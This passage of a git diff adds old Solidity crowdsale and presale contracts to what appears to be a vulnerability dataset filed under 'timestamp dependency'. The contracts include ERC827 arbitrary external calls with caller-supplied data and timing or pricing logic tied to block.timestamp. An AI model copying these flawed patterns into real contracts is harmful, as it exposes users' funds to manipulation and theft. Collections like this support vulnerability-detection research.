transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + +contract CrowdsaleBase is Haltable, Whitelist { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLib for uint; + + + FractionalERC20 public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public presaleWeiRaised = 0; + + + uint public investorCount = 0; + + + uint public loadedRefund = 0; + + + uint public weiRefunded = 0; + + + bool public finalized; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + + mapping (address => bool) public earlyParticipantWhitelist; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Refund(address investor, uint weiAmount); + + + event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress); + + + event Whitelisted(address addr, bool status); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { + + owner = msg.sender; + + token = FractionalERC20(_token); + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + } + + + + + function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) { + + + + + + + Whitelist dc; + address contract_addr = 0x062e41d1037745dc203e8c1AAcA651B8d157Da96; + dc = Whitelist(contract_addr); + require (dc.whitelist(msg.sender)); + require (dc.whitelist(receiver)); + + + + if(getState() == State.PreFunding) { + + if(!earlyParticipantWhitelist[receiver]) { + throw; + } + } else if(getState() == State.Funding) { + + + } else { + + throw; + } + + uint weiAmount = msg.value; + require(weiAmount >= minimumFundingGoal); + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals()); + + + require(tokenAmount != 0); + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + if(pricingStrategy.isPresalePurchase(receiver)) { + presaleWeiRaised = presaleWeiRaised.plus(weiAmount); + } + + + require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)); + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + + return tokenAmount; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != 0) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) onlyOwner { + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEndsAt(uint time) onlyOwner { + + if(now > time) { + throw; + } + + if(startsAt > time) { + throw; + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function loadRefund() public payable inState(State.Failure) { + if(msg.value == 0) throw; + loadedRefund = loadedRefund.plus(msg.value); + } + + + function refund() public inState(State.Refunding) { + uint256 weiValue = investedAmountOf[msg.sender]; + if (weiValue == 0) throw; + investedAmountOf[msg.sender] = 0; + weiRefunded = weiRefunded.plus(weiValue); + Refund(msg.sender, weiValue); + if (!msg.sender.send(weiValue)) throw; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; + else return State.Failure; + } + + + function setOwnerTestValue(uint val) onlyOwner { + ownerTestValue = val; + } + + + function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { + earlyParticipantWhitelist[addr] = status; + Whitelisted(addr, status); + } + + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) internal; +} + +contract Crowdsale is CrowdsaleBase { + + + bool public requireCustomerId; + + + bool public requiredSignedAddress; + + + address public signerAddress; + + function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { + } + + + function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner { + + uint tokenAmount = fullTokens * 10**token.decimals(); + uint weiAmount = weiPrice * fullTokens; + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + assignTokens(receiver, tokenAmount); + + + Invested(receiver, weiAmount, tokenAmount, 0); + } + + + function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { + bytes32 hash = sha256(addr); + if (ecrecover(hash, v, r, s) != signerAddress) throw; + if(customerId == 0) throw; + investInternal(addr, customerId); + } + + + function investWithCustomerId(address addr, uint128 customerId) public payable { + if(requiredSignedAddress) throw; + if(customerId == 0) throw; + investInternal(addr, customerId); + } + + + function invest(address addr) public payable { + if(requireCustomerId) throw; + if(requiredSignedAddress) throw; + investInternal(addr, 0); + } + + + function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { + investWithSignedAddress(msg.sender, customerId, v, r, s); + } + + + function buyWithCustomerIdWithChecksum(uint128 customerId, bytes1 checksum) public payable { + + if (bytes1(sha3(customerId)) != checksum) throw; + investWithCustomerId(msg.sender, customerId); + } + + + function buyWithCustomerId(uint128 customerId) public payable { + investWithCustomerId(msg.sender, customerId); + } + + + function buy() public payable { + invest(msg.sender); + } + + + function setRequireCustomerId(bool value) onlyOwner { + requireCustomerId = value; + InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); + } + + + function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { + requiredSignedAddress = value; + signerAddress = _signerAddress; + InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); + } + + + + + function () public payable { + invest(msg.sender); + } + +} + +contract MintedTokenCappedCrowdsale is Crowdsale { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { + maximumSellableTokens = _maximumSellableTokens; + } + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + + function assignTokens(address receiver, uint tokenAmount) internal { + MintableToken mintableToken = MintableToken(token); + mintableToken.mint(receiver, tokenAmount); + } +} + +contract ERC827 is ERC20 { + + function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); + function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); + function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); + +} + +contract ERC827Token is ERC827, StandardToken { + + + function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.approve(_spender, _value); + + require(_spender.call(_data)); + + return true; + } + + + function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { + require(_to != address(this)); + + super.transfer(_to, _value); + + require(_to.call(_data)); + return true; + } + + + function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { + require(_to != address(this)); + + super.transferFrom(_from, _to, _value); + + require(_to.call(_data)); + return true; + } + + + function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.increaseApproval(_spender, _addedValue); + + require(_spender.call(_data)); + + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.decreaseApproval(_spender, _subtractedValue); + + require(_spender.call(_data)); + + return true; + } + +} + +contract StandardTokenExt is StandardToken, ERC827Token, Recoverable { + + + function isToken() public constant returns (bool weAre) { + return true; + } +} + +contract MintableToken is StandardTokenExt { + + using SafeMathLib for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state); + event Minted(address receiver, uint amount); + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply_ = totalSupply_.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/1182.sol b/smart_contract_dataset/timestamp dependency/1182.sol new file mode 100644 index 0000000000000000000000000000000000000000..046d0e6e28562ca227c910a0973e2f480b42d41f --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/1182.sol @@ -0,0 +1,182 @@ +pragma solidity ^0.4.24; + +library SafeMath { + function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { + if (_a == 0) { return 0; } + c = _a * _b; + assert(c / _a == _b); + return c; + } + + function div(uint256 _a, uint256 _b) internal pure returns (uint256) { + return _a / _b; + } + + function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { + assert(_b <= _a); + return _a - _b; + } + + function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { + c = _a + _b; + assert(c >= _a); + return c; + } +} + +library SafeERC20 { + function safeTransfer(ERC20 _token, address _to, uint256 _value) internal { + require(_token.transfer(_to, _value)); + } + + function safeTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) internal { + require(_token.transferFrom(_from, _to, _value)); + } +} + +interface ERC20 { + function transferFrom(address from, address to, uint256 value) external returns (bool); + function transfer(address _to, uint256 _value) external returns (bool); +} + +contract Ownable { + address public owner; + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + modifier onlyOwner() { require(msg.sender == owner); _; } + + constructor() public { owner = msg.sender; } + + function renounceOwnership() public onlyOwner() { + emit OwnershipRenounced(owner); + owner = address(0); + } + + function transferOwnership(address _newOwner) public onlyOwner() { + _transferOwnership(_newOwner); + } + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract BitSongCrowdsale is Ownable{ + using SafeMath for uint256; + using SafeERC20 for ERC20; + + ERC20 public token; + address public wallet; + uint256 public rate; + uint256 public weiRaised; + address public kycAdmin; + uint256 public hardCap; + uint256 public tokensAllocated; + uint256 public openingTime; + uint256 public closingTime; + uint256 public duration; + + mapping(address => bool) public approvals; + mapping(address => uint256) public balances; + + event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); + event KycApproved(address indexed beneficiary, address indexed admin, bool status); + event KycRefused(address indexed beneficiary, address indexed admin, bool status); + + modifier onlyKycAdmin() { require(msg.sender == kycAdmin); _; } + modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } + + constructor(uint256 _rate, address _wallet, uint256 _duration, uint256 _hardCap, ERC20 _tokenAddress) public { + require(_rate > 0); + require(_wallet != address(0)); + require(_tokenAddress != address(0)); + + rate = _rate; + wallet = _wallet; + token = _tokenAddress; + hardCap = _hardCap * 10**18; + duration = _duration * 1 days; + } + + function () external payable { + buyTokens(); + } + + function buyTokens() public onlyWhileOpen() payable { + require(msg.value > 0); + require(approvals[msg.sender] == true); + uint256 weiAmount = msg.value; + uint256 tokenAmount = weiAmount.mul(rate); + tokensAllocated = tokensAllocated.add(tokenAmount); + assert(tokensAllocated <= hardCap); + weiRaised = weiRaised.add(weiAmount); + balances[msg.sender] = balances[msg.sender].add(tokenAmount); + emit TokenPurchase(msg.sender, weiAmount, tokenAmount); + wallet.transfer(msg.value); + } + + function withdrawTokens() external { + require(hasClosed()); + uint256 amount = balances[msg.sender]; + require(amount > 0); + balances[msg.sender] = 0; + token.safeTransferFrom(wallet, msg.sender, amount); + } + + function withdrawTokensFor(address _beneficiary) external { + require(hasClosed()); + uint256 amount = balances[_beneficiary]; + require(amount > 0); + balances[_beneficiary] = 0; + token.safeTransferFrom(wallet, _beneficiary, amount); + } + + function hasClosed() public view returns (bool) { + return block.timestamp > closingTime; + } + + function approveAddress(address _beneficiary) external onlyKycAdmin() { + approvals[_beneficiary] = true; + emit KycApproved(_beneficiary, kycAdmin, true); + } + + function refuseAddress(address _beneficiary) external onlyKycAdmin() { + approvals[_beneficiary] = false; + emit KycRefused(_beneficiary, kycAdmin, false); + } + + function rewardManual(address _beneficiary, uint256 _amount) external onlyOwner() { + require(_amount > 0); + require(_beneficiary != address(0)); + tokensAllocated = tokensAllocated.add(_amount); + assert(tokensAllocated <= hardCap); + balances[_beneficiary] = balances[_beneficiary].add(_amount); + } + + function transfer(address _beneficiary, uint256 _amount) external onlyOwner() { + require(_amount > 0); + require(_beneficiary != address(0)); + token.safeTransfer(_beneficiary, _amount); + } + + function setKycAdmin(address _newAdmin) external onlyOwner() { + kycAdmin = _newAdmin; + } + + function startDistribution() external onlyOwner() { + require(openingTime == 0); + openingTime = block.timestamp; + closingTime = openingTime.add(duration); + } + + function setRate(uint256 _newRate) external onlyOwner() { + rate = _newRate; + } + + function setClosingTime(uint256 _newTime) external onlyOwner() { + closingTime = _newTime; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/124.sol b/smart_contract_dataset/timestamp dependency/124.sol new file mode 100644 index 0000000000000000000000000000000000000000..3e6b6b80a0ddb13a571239e847fe09d10f55d577 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/124.sol @@ -0,0 +1,465 @@ + + + +pragma solidity ^0.4.23; + +contract AccessAdmin { + bool public isPaused = false; + address public addrAdmin; + + event AdminTransferred(address indexed preAdmin, address indexed newAdmin); + + constructor() public { + addrAdmin = msg.sender; + } + + + modifier onlyAdmin() { + require(msg.sender == addrAdmin); + _; + } + + modifier whenNotPaused() { + require(!isPaused); + _; + } + + modifier whenPaused { + require(isPaused); + _; + } + + function setAdmin(address _newAdmin) external onlyAdmin { + require(_newAdmin != address(0)); + emit AdminTransferred(addrAdmin, _newAdmin); + addrAdmin = _newAdmin; + } + + function doPause() external onlyAdmin whenNotPaused { + isPaused = true; + } + + function doUnpause() external onlyAdmin whenPaused { + isPaused = false; + } +} + +contract AccessService is AccessAdmin { + address public addrService; + address public addrFinance; + + modifier onlyService() { + require(msg.sender == addrService); + _; + } + + modifier onlyFinance() { + require(msg.sender == addrFinance); + _; + } + + function setService(address _newService) external { + require(msg.sender == addrService || msg.sender == addrAdmin); + require(_newService != address(0)); + addrService = _newService; + } + + function setFinance(address _newFinance) external { + require(msg.sender == addrFinance || msg.sender == addrAdmin); + require(_newFinance != address(0)); + addrFinance = _newFinance; + } + + function withdraw(address _target, uint256 _amount) + external + { + require(msg.sender == addrFinance || msg.sender == addrAdmin); + require(_amount > 0); + address receiver = _target == address(0) ? addrFinance : _target; + uint256 balance = address(this).balance; + if (_amount < balance) { + receiver.transfer(_amount); + } else { + receiver.transfer(address(this).balance); + } + } +} + +interface WarTokenInterface { + function getFashion(uint256 _tokenId) external view returns(uint16[12]); + function ownerOf(uint256 _tokenId) external view returns (address); + function safeTransferByContract(uint256 _tokenId, address _to) external; +} + +interface WonderTokenInterface { + function transferFrom(address _from, address _to, uint256 _tokenId) external; + function safeGiveByContract(uint256 _tokenId, address _to) external; + function getProtoIdByTokenId(uint256 _tokenId) external view returns(uint256); +} + +interface ManagerTokenInterface { + function transferFrom(address _from, address _to, uint256 _tokenId) external; + function safeGiveByContract(uint256 _tokenId, address _to) external; + function getProtoIdByTokenId(uint256 _tokenId) external view returns(uint256); +} + +interface TalentCardInterface { + function safeSendCard(uint256 _amount, address _to) external; +} + +interface ERC20BaseInterface { + function balanceOf(address _from) external view returns(uint256); + function transfer(address _to, uint256 _value) external; + function transferFrom(address _from, address _to, uint256 _value) external returns (bool); + function approve(address _spender, uint256 _value) external; +} + +contract TTCInterface is ERC20BaseInterface { + function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns (bool); +} + +contract TTPresale is AccessService { + TTCInterface ttcToken; + WarTokenInterface warToken; + ManagerTokenInterface ttmToken; + WonderTokenInterface ttwToken; + + event ManagerSold( + address indexed buyer, + address indexed buyTo, + uint256 mgrId, + uint256 nextTokenId + ); + + event WonderSold( + address indexed buyer, + address indexed buyTo, + uint256 wonderId, + uint256 nextTokenId + ); + + constructor() public { + addrAdmin = msg.sender; + addrFinance = msg.sender; + addrService = msg.sender; + + ttcToken = TTCInterface(0xfB673F08FC82807b4D0E139e794e3b328d63551f); + warToken = WarTokenInterface(0xDA9c03dFd4D137F926c3cF6953cb951832Eb08b2); + } + + function() external payable { + + } + + uint64 public nextDiscountTTMTokenId1 = 1; + uint64 public nextDiscountTTMTokenId6 = 361; + uint64 public nextCommonTTMTokenId2 = 51; + uint64 public nextCommonTTMTokenId3 = 131; + uint64 public nextCommonTTMTokenId7 = 391; + uint64 public nextCommonTTMTokenId8 = 451; + uint64 public nextDiscountTTWTokenId1 = 1; + uint64 public nextCommonTTWTokenId2 = 31; + + function setNextDiscountTTMTokenId1(uint64 _val) external onlyAdmin { + require(nextDiscountTTMTokenId1 >= 1 && nextDiscountTTMTokenId1 <= 51); + nextDiscountTTMTokenId1 = _val; + } + + function setNextDiscountTTMTokenId6(uint64 _val) external onlyAdmin { + require(nextDiscountTTMTokenId6 >= 361 && nextDiscountTTMTokenId6 <= 391); + nextDiscountTTMTokenId6 = _val; + } + + function setNextCommonTTMTokenId2(uint64 _val) external onlyAdmin { + require(nextCommonTTMTokenId2 >= 51 && nextCommonTTMTokenId2 <= 131); + nextCommonTTMTokenId2 = _val; + } + + function setNextCommonTTMTokenId3(uint64 _val) external onlyAdmin { + require(nextCommonTTMTokenId3 >= 131 && nextCommonTTMTokenId3 <= 211); + nextCommonTTMTokenId3 = _val; + } + + function setNextCommonTTMTokenId7(uint64 _val) external onlyAdmin { + require(nextCommonTTMTokenId7 >= 391 && nextCommonTTMTokenId7 <= 451); + nextCommonTTMTokenId7 = _val; + } + + function setNextCommonTTMTokenId8(uint64 _val) external onlyAdmin { + require(nextCommonTTMTokenId8 >= 451 && nextCommonTTMTokenId8 <= 511); + nextCommonTTMTokenId8 = _val; + } + + function setNextDiscountTTWTokenId1(uint64 _val) external onlyAdmin { + require(nextDiscountTTWTokenId1 >= 1 && nextDiscountTTWTokenId1 <= 31); + nextDiscountTTWTokenId1 = _val; + } + + function setNextCommonTTWTokenId2(uint64 _val) external onlyAdmin { + require(nextCommonTTWTokenId2 >= 31 && nextCommonTTWTokenId2 <= 91); + nextCommonTTWTokenId2 = _val; + } + + uint64 public endDiscountTime = 0; + + function setDiscountTime(uint64 _endTime) external onlyAdmin { + require(_endTime > block.timestamp); + endDiscountTime = _endTime; + } + + function setWARTokenAddress(address _addr) external onlyAdmin { + require(_addr != address(0)); + warToken = WarTokenInterface(_addr); + } + + function setTTMTokenAddress(address _addr) external onlyAdmin { + require(_addr != address(0)); + ttmToken = ManagerTokenInterface(_addr); + } + + function setTTWTokenAddress(address _addr) external onlyAdmin { + require(_addr != address(0)); + ttwToken = WonderTokenInterface(_addr); + } + + function setTTCTokenAddress(address _addr) external onlyAdmin { + require(_addr != address(0)); + ttcToken = TTCInterface(_addr); + } + + function _getExtraParam(bytes _extraData) + private + pure + returns(address addr, uint64 f, uint256 protoId) + { + assembly { addr := mload(add(_extraData, 20)) } + f = uint64(_extraData[20]); + protoId = uint256(_extraData[21]) * 256 + uint256(_extraData[22]); + } + + function receiveApproval(address _sender, uint256 _value, address _token, bytes _extraData) + external + whenNotPaused + { + require(msg.sender == address(ttcToken)); + require(_extraData.length == 23); + (address toAddr, uint64 f, uint256 protoId) = _getExtraParam(_extraData); + require(ttcToken.transferFrom(_sender, address(this), _value)); + if (f == 0) { + _buyDiscountTTM(_value, protoId, toAddr, _sender); + } else if (f == 1) { + _buyDiscountTTW(_value, protoId, toAddr, _sender); + } else if (f == 2) { + _buyCommonTTM(_value, protoId, toAddr, _sender); + } else if (f == 3) { + _buyCommonTTW(_value, protoId, toAddr, _sender); + } else { + require(false, "Invalid func id"); + } + } + + function exchangeByPet(uint256 _warTokenId, uint256 _mgrId, address _gameWalletAddr) + external + whenNotPaused + { + require(warToken.ownerOf(_warTokenId) == msg.sender); + uint16[12] memory warData = warToken.getFashion(_warTokenId); + uint16 protoId = warData[0]; + if (_mgrId == 2) { + require(protoId == 10001 || protoId == 10003); + require(nextCommonTTMTokenId2 <= 130); + warToken.safeTransferByContract(_warTokenId, address(this)); + nextCommonTTMTokenId2 += 1; + ttmToken.safeGiveByContract(nextCommonTTMTokenId2 - 1, _gameWalletAddr); + emit ManagerSold(msg.sender, _gameWalletAddr, 2, nextCommonTTMTokenId2); + } else if (_mgrId == 3) { + require(protoId == 10001 || protoId == 10003); + require(nextCommonTTMTokenId3 <= 210); + warToken.safeTransferByContract(_warTokenId, address(this)); + nextCommonTTMTokenId3 += 1; + ttmToken.safeGiveByContract(nextCommonTTMTokenId3 - 1, _gameWalletAddr); + emit ManagerSold(msg.sender, _gameWalletAddr, 3, nextCommonTTMTokenId3); + } else if (_mgrId == 7) { + require(protoId == 10002 || protoId == 10004 || protoId == 10005); + require(nextCommonTTMTokenId7 <= 450); + warToken.safeTransferByContract(_warTokenId, address(this)); + nextCommonTTMTokenId7 += 1; + ttmToken.safeGiveByContract(nextCommonTTMTokenId7 - 1, _gameWalletAddr); + emit ManagerSold(msg.sender, _gameWalletAddr, 7, nextCommonTTMTokenId7); + } else if (_mgrId == 8) { + require(protoId == 10002 || protoId == 10004 || protoId == 10005); + require(nextCommonTTMTokenId8 <= 510); + warToken.safeTransferByContract(_warTokenId, address(this)); + nextCommonTTMTokenId8 += 1; + ttmToken.safeGiveByContract(nextCommonTTMTokenId8 - 1, _gameWalletAddr); + emit ManagerSold(msg.sender, _gameWalletAddr, 8, nextCommonTTMTokenId8); + } else { + require(false); + } + } + + function buyDiscountTTMByETH(uint256 _mgrId, address _gameWalletAddr) + external + payable + whenNotPaused + { + _buyDiscountTTM(msg.value, _mgrId, _gameWalletAddr, msg.sender); + } + + function buyDiscountTTWByETH(uint256 _wonderId, address _gameWalletAddr) + external + payable + whenNotPaused + { + _buyDiscountTTW(msg.value, _wonderId, _gameWalletAddr, msg.sender); + } + + function buyCommonTTMByETH(uint256 _mgrId, address _gameWalletAddr) + external + payable + whenNotPaused + { + _buyCommonTTM(msg.value, _mgrId, _gameWalletAddr, msg.sender); + } + + function buyCommonTTWByETH(uint256 _wonderId, address _gameWalletAddr) + external + payable + whenNotPaused + { + _buyCommonTTW(msg.value, _wonderId, _gameWalletAddr, msg.sender); + } + + function _buyDiscountTTM(uint256 _value, uint256 _mgrId, address _gameWalletAddr, address _buyer) + private + { + require(_gameWalletAddr != address(0)); + if (_mgrId == 1) { + require(nextDiscountTTMTokenId1 <= 50, "This Manager is sold out"); + if (block.timestamp <= endDiscountTime) { + require(_value == 0.64 ether); + } else { + require(_value == 0.99 ether); + } + nextDiscountTTMTokenId1 += 1; + ttmToken.safeGiveByContract(nextDiscountTTMTokenId1 - 1, _gameWalletAddr); + emit ManagerSold(_buyer, _gameWalletAddr, 1, nextDiscountTTMTokenId1); + } else if (_mgrId == 6) { + require(nextDiscountTTMTokenId6 <= 390, "This Manager is sold out"); + if (block.timestamp <= endDiscountTime) { + require(_value == 0.97 ether); + } else { + require(_value == 1.49 ether); + } + nextDiscountTTMTokenId6 += 1; + ttmToken.safeGiveByContract(nextDiscountTTMTokenId6 - 1, _gameWalletAddr); + emit ManagerSold(_buyer, _gameWalletAddr, 6, nextDiscountTTMTokenId6); + } else { + require(false); + } + } + + function _buyDiscountTTW(uint256 _value, uint256 _wonderId, address _gameWalletAddr, address _buyer) + private + { + require(_gameWalletAddr != address(0)); + require(_wonderId == 1); + + require(nextDiscountTTWTokenId1 <= 30, "This Manager is sold out"); + if (block.timestamp <= endDiscountTime) { + require(_value == 0.585 ether); + } else { + require(_value == 0.90 ether); + } + nextDiscountTTWTokenId1 += 1; + ttwToken.safeGiveByContract(nextDiscountTTWTokenId1 - 1, _gameWalletAddr); + emit WonderSold(_buyer, _gameWalletAddr, 1, nextDiscountTTWTokenId1); + } + + function _buyCommonTTM(uint256 _value, uint256 _mgrId, address _gameWalletAddr, address _buyer) + private + { + require(_gameWalletAddr != address(0)); + if (_mgrId == 2) { + require(nextCommonTTMTokenId2 <= 130); + require(_value == 0.99 ether); + nextCommonTTMTokenId2 += 1; + ttmToken.safeGiveByContract(nextCommonTTMTokenId2 - 1, _gameWalletAddr); + emit ManagerSold(_buyer, _gameWalletAddr, 2, nextCommonTTMTokenId2); + } else if (_mgrId == 3) { + require(nextCommonTTMTokenId3 <= 210); + require(_value == 0.99 ether); + nextCommonTTMTokenId3 += 1; + ttmToken.safeGiveByContract(nextCommonTTMTokenId3 - 1, _gameWalletAddr); + emit ManagerSold(_buyer, _gameWalletAddr, 3, nextCommonTTMTokenId3); + } else if (_mgrId == 7) { + require(nextCommonTTMTokenId7 <= 450); + require(_value == 1.49 ether); + nextCommonTTMTokenId7 += 1; + ttmToken.safeGiveByContract(nextCommonTTMTokenId7 - 1, _gameWalletAddr); + emit ManagerSold(_buyer, _gameWalletAddr, 7, nextCommonTTMTokenId7); + } else if (_mgrId == 8) { + require(nextCommonTTMTokenId8 <= 510); + require(_value == 1.49 ether); + nextCommonTTMTokenId8 += 1; + ttmToken.safeGiveByContract(nextCommonTTMTokenId8 - 1, _gameWalletAddr); + emit ManagerSold(_buyer, _gameWalletAddr, 8, nextCommonTTMTokenId8); + } else { + require(false); + } + } + + function _buyCommonTTW(uint256 _value, uint256 _wonderId, address _gameWalletAddr, address _buyer) + private + { + require(_gameWalletAddr != address(0)); + require(_wonderId == 2); + require(nextCommonTTWTokenId2 <= 90); + require(_value == 0.50 ether); + nextCommonTTWTokenId2 += 1; + ttwToken.safeGiveByContract(nextCommonTTWTokenId2 - 1, _gameWalletAddr); + emit WonderSold(_buyer, _gameWalletAddr, 2, nextCommonTTWTokenId2); + } + + function withdrawERC20(address _erc20, address _target, uint256 _amount) + external + { + require(msg.sender == addrFinance || msg.sender == addrAdmin); + require(_amount > 0); + address receiver = _target == address(0) ? addrFinance : _target; + ERC20BaseInterface erc20Contract = ERC20BaseInterface(_erc20); + uint256 balance = erc20Contract.balanceOf(address(this)); + require(balance > 0); + if (_amount < balance) { + erc20Contract.transfer(receiver, _amount); + } else { + erc20Contract.transfer(receiver, balance); + } + } + + function getPresaleInfo() + external + view + returns( + uint64 ttmCnt1, + uint64 